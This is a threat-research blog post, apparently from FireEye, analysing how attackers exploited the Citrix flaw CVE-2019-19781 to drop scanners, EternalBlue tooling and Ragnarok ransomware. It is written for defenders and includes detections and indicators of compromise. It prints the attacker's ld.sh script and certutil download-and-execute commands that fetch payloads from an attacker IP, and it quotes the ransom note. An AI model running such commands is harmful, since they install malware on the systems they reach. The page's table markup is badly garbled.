[FireEye]Nice Try: 501 (Ransomware) Not Implemented

[igor51]

Nice Try: 501 (Ransomware) Not Implemented

An Ever-Evolving Threat

 

Since January 10, 2020, FireEye has tracked extensive global
  exploitation of CVE-2019-19781, which continues to impact Citrix ADC
  and Gateway     href="https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/">instances
    that are unpatched or do not have     href="https://support.citrix.com/article/CTX267679">mitigations
  applied. We previously reported on     href="/content/fireeye-www/en_US/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html">attackers’
    swift attempts to exploit this vulnerability and the
  post-compromise deployment of the previously unseen     href="/content/fireeye-www/en_US/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html">NOTROBIN
    malware family by one threat actor. FireEye continues to
  actively track multiple clusters of activity associated with
  exploitation of this vulnerability, primarily based on how attackers
  interact with vulnerable Citrix ADC and Gateway instances after identification.

 

While most of the CVE-2019-19781 exploitation activity we’ve
  observed to this point has led to the deployment of coin miners or
  most commonly NOTROBIN, recent compromises suggest that this
  vulnerability is also being exploited to deploy ransomware. If your
  organization is attempting to assess whether there is evidence of
  compromise related to exploitation of CVE-2019-19781, we highly
  encourage you to use the     href="/content/fireeye-www/en_US/blog/products-and-services/2020/01/fireeye-and-citrix-tool-scans-for-iocs-related-to-vulnerability.html">IOC
    Scanner co-published by FireEye and Citrix, which detects the
  activity described in this post.

 

Between January 16 and 17, 2020, FireEye     href="https://www.fireeye.com/solutions/managed-defense.html">Managed
  Defense detected the IP address   class="code">45[.]120[.]53[.]214 attempting to exploit
  CVE-2019-19781 at dozens of FireEye clients. When successfully
  exploited, we observed impacted systems executing the cURL command to
  download a shell script with the file name   class="code">ld.sh from   class="code">45[.]120[.]53[.]214 (Figure 1). In some cases this
  same shell script was instead downloaded from hxxp://198.44.227[.]126:81/citrix/ld.sh.

 

      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/citrix3/picture1.png" alt="" />
 
 Figure 1: Snippet of ld.sh, downloaded
    from 45.120.53.214

 

The shell script, provided in Figure 2, searches for the   class="code">python2 binary (Note: Python is only pre-installed
  on Citrix Gateway 12.x and 13.x systems) and downloads two additional
  files to the system: piz.Lan, a XOR-encoded
  data blob, and de.py, a Python script, to a
  temporary directory. This script then changes permissions and executes
    de.py, which subsequently decodes and
  decompresses piz.Lan. Finally, the script
  cleans up the initial staging files and executes   class="code">scan.py, an additional script we will cover in
  more detail later in the post.

 
   
     

#!/bin/sh   rm $0   if [ ! -f             "/var/python/bin/python2" ]; then   echo             'Exit'   exit   fi           mkdir /tmp/rAgn   cd         /tmp/rAgn           curl hxxp://45[.]120[.]53[.]214/piz.Lan -o             piz.Lan   sleep 1   curl             hxxp://45[.]120[.]53[.]214/de -o de.py   chmod 777             de.py   /var/python/bin/python2 de.py           rm de.py   rm piz.Lan   rm             .new.zip   cd httpd   /var/python/bin/python2             scan.py -n 50 -N 40 &

 

  Figure 2: Contents of ld.sh, a shell-script to
    download additional tools to the compromised system

 

piz.Lan -> .net.zip

 

Armed with the information gathered from   class="code">de.py, we turned our attention to decoding and
  decompressing “.net.zip” (MD5:
  0caf9be8fd7ba5b605b7a7b315ef17a0). Inside, we recovered five files,
  represented in Table 1:

 
   
     
   
     
   
     
   
              width="33%" valign="top">

b0acb27273563a5a2a5f71165606808c

     
   
     
       
       
   
              width="33%" valign="top">

Exploit replay file

        width="33%" valign="top">

9e408d947ceba27259e2a9a5c71a75a8

     

Filename	Functionality	MD5
x86.dll	valign="top"> 32-bit Downloader	valign="top"> 9aa67d856e584b4eefc4791d2634476a
x64.dll	valign="top"> 64-bit Downloader	valign="top"> 55b40e0068429fbbb16f2113d6842ed2
scan.py	valign="top"> Python socket scanner
xp_eternalblue.replay	Exploit replay file	valign="top"> 6cf1857e569432fcfc8e506c8b0db635
eternalblue.replay

 

  Table 1: Contents of the ZIP file
    ".new.zip", created by the script de.py

 

The contents of the ZIP were explained via analysis of the file
    scan.py, a Python scanning script that
  would also automate exploitation of identified vulnerable system(s).
  Our initial analysis showed that this script was a combination of
  functions from multiple open source projects or scripts. As one
  example, the replay files, which were either adapted or copied
  directly from this   href="https://github.com/pythonone/MS17-010/tree/master/exploits/eternalblue">public
  GitHub repository, were present in the   class="code">Install_Backdoor function, as shown in Figure 3:

 

      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/citrix3/picture3.png" alt="" />
 
 Figure 3: Snippet of scan.py showing
    usage of EternalBlue replay files

 

This script also had multiple functions checking whether an
  identified system is 32- vs. 64-bit, as well as raw shell code to step
  through an exploit. The exploit_main
  function, when called, would appropriately choose between 32- or
  64-bit and select the right DLL for injection, as shown in Figure 4.

 

      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/citrix3/picture4.png" alt="" />
 
 Figure 4: Snippet of scan.py showing
    instructions to deploy 32- or 64-bit downloaders

 

I Call Myself Ragnarok

 

Our analysis continued by examining the capabilities of the 32- and
  64-bit DLLs, aptly named x86.dll and   class="code">x64.dll. At only 5,120 bytes each, these binaries
  performed the following tasks (Figure 5 and Figure 6):

 

1. Download a file named patch32 or
         patch64 (respective to operating system
       bit-ness) from a hard-coded URL using     class="code">certutil, a native tool used as part of Windows
       Certificate Services (categorized as Technique 11005 within       href="https://attack.mitre.org/techniques/T1105/">MITRE’s
         ATT&CK framework).
2. Execute the downloaded binary
         since1969.exe, located in   class="code">C:\Users\Public.
3. Delete the URL from the
       current user’s certificate cache.

 
   
     

certutil.exe -urlcache -split -f           hxxp://45.120.53[.]214/patch32           C:/Users/Public/since1969.exe   cmd.exe /c           C:/Users/Public/since1969.exe   certutil -urlcache -f           hxxp://45.120.53[.]214/patch32 delete

 

  Figure 5: Snippet of strings from x86.dll

 
   
     

certutil.exe -urlcache -split -f           hxxp://45.120.53[.]214/patch64           C:/Users/Public/since1969.exe   cmd.exe /c           C:/Users/Public/since1969.exe   certutil -urlcache -f           hxxp://45.120.53[.]214/patch64 delete

 

  Figure 6: Snippet of strings from x64.dll

 

Although neither patch32 nor   class="code">patch64 were available at the time of analysis,
  FireEye identified a file on VirusTotal with the name   class="code">avpass.exe (MD5: e345c861058a18510e7c4bb616e3fd9f)
  linked to the IP address 45[.]120[.]53[.]214 (Figure 8). This file is
  an instance of the     href="https://www.virustotal.com/gui/file/813414cbdaa738393561ebae0778f17e2810ff39592a0e731b654f33805fd644/detection">publicly
    available Meterpreter backdoor that was uploaded on November 12,
  2019. Additional analysis confirmed that this binary communicated to
  45[.]120[.]53[.]214 over TCP port 1234.

 

      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/citrix3/picture7.png" alt="" />
 
 Figure 7: VirusTotal graph showing links
    between resources hosted on or communicating with 45.120.53.214

 

Within the avpass.exe binary, we found an
  interesting PDB string that provided more context about the tool’s
  author: “  class="code">C:\Users\ragnarok\source\repos\avpass\Debug\avpass.pdb”.
  Utilizing ragnarok as a keyword, we pivoted
  and were able to identify a separate copy of   class="code">since1969.exe (MD5:
  48452dd2506831d0b340e45b08799623) uploaded to VirusTotal on January
  23, 2020. The binary’s compilation timestamp of January 16, 2020,
  aligns with our earliest detections associated with this threat actor.

 

Further analysis and sandboxing of this binary brought all the
  pieces together—this threat actor may have been attempting to deploy
  ransomware aptly named ‘Ragnarok’. We’d like to give credit to     href="https://twitter.com/struppigel/status/1218188275657166849">this
  Tweet from Karsten Hahn, who identified ragnarok-related about
  artifacts on January 17, 2020, again aligning with the timeframe of
  our initial detection. Figure 8 provides a snippet of files created by
  the binary upon execution.

 

      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/citrix3/picture8.png" alt="" />
 
 Figure 8: Ragnarok-related ransomware files

 
   
     

The ransom note dropped by this ransomware, shown in Figure           11, points to three email addresses. 6.it's wise to pay           as soon as possible it wont make you more losses the           ransome: 1 btcoin for per machine,5 bitcoins for all         machines how to buy bitcoin and transfer? i think you are           very good at googlesearch           asgardmaster5@protonmail[.]com           ragnar0k@ctemplar[.]com  j.jasonm@yandex[.]com           Attention:if you wont pay the ransom in five days, all of           your files will be made public on internet and will be         deleted

 

  Figure 9: Snippet of ransom note dropped by “since1969.exe”

 

Implications

 

FireEye continues to observe multiple actors who are currently
  seeking to take advantage of CVE-2019-19781. This post outlines one
  threat actor who is using multiple exploits to take advantage of
  vulnerable internal systems and move laterally inside the
  organization. Based on our initial observations, the ultimate intent
  may have been the deployment of ransomware, using the Gateway as a
  central pivot point.

 

As previously mentioned, if suspect your Citrix appliances may have
  been compromised, we recommend utilizing the     href="https://github.com/fireeye/ioc-scanner-CVE-2019-19781/releases/tag/v1.0">tool
    FireEye released in partnership with Citrix.

 

Detect the Technique

 

Aside from CVE-2019-19781, FireEye detects the activity described in
  this post across our platforms, including named detections for
  Meterpreter, and EternalBlue. Table 2 contains several specific
  detection names to assist in detection of this activity.

 
   
     
   
     
   
     
   
     
   
     
   
     
   
     

Signature Name

CERTUTIL.EXE DOWNLOADER         (UTILITY)

CURL Downloading Shell Script

ETERNALBLUE EXPLOIT

METERPRETER (Backdoor)

METERPRETER URI (STAGER)

SMB - ETERNALBLUE

 

  Table 2: FireEye Detections for activity
    described in this post

 

Indicators

 

Table 3 provides the unique indicators discussed in this post.

 
   
     
   
     
   
     
   
              width="194" valign="top">

piz.Lan

   
              width="194" valign="top">

de.py

   
              width="194" valign="top">

ld.sh

   
              width="194" valign="top">

.new.zip

   
              width="194" valign="top">

x86.dll

   
              width="194" valign="top">

x64.dll

   
              width="194" valign="top">

scan.py

   
              width="194" valign="top">

xp_eternalblue.replay

   
              width="194" valign="top">

eternalblue.replay

   
              width="194" valign="top">

avpass.exe

   
              width="194" valign="top">

since1969.exe

   
              width="252" valign="top">

asgardmaster5@protonmail[.]com

     
   
              width="252" valign="top">

ragnar0k@ctemplar[.]com

       
   
              width="252" valign="top">

j.jasonm@yandex[.]com

        width="194" valign="top">

From ransom note

Indicator Type	Indicator	Notes
Network	valign="top"> 45[.]120[.]53[.]214	valign="top">
Network	valign="top"> 198[.]44[.]227[.]126	valign="top">
Host	valign="top"> 91dd06f49b09a2242d4085703599b7a7
Host	valign="top"> 01af5ad23a282d0fd40597c1024307ca
Host	valign="top"> bd977d9d2b68dd9b12a3878edd192319
Host	valign="top"> 0caf9be8fd7ba5b605b7a7b315ef17a0
Host	valign="top"> 9aa67d856e584b4eefc4791d2634476a
Host	valign="top"> 55b40e0068429fbbb16f2113d6842ed2
Host	valign="top"> b0acb27273563a5a2a5f71165606808c
Host	valign="top"> 6cf1857e569432fcfc8e506c8b0db635
Host	valign="top"> 9e408d947ceba27259e2a9a5c71a75a8
Host	valign="top"> e345c861058a18510e7c4bb616e3fd9f
Host	valign="top"> 48452dd2506831d0b340e45b08799623
Email Address	From ransom note
Email Address	From ransom note
Email Address

 

  Table 3: Collection of IOCs from this blog post

Source: Nice Try: 501 (Ransomware) Not Implemented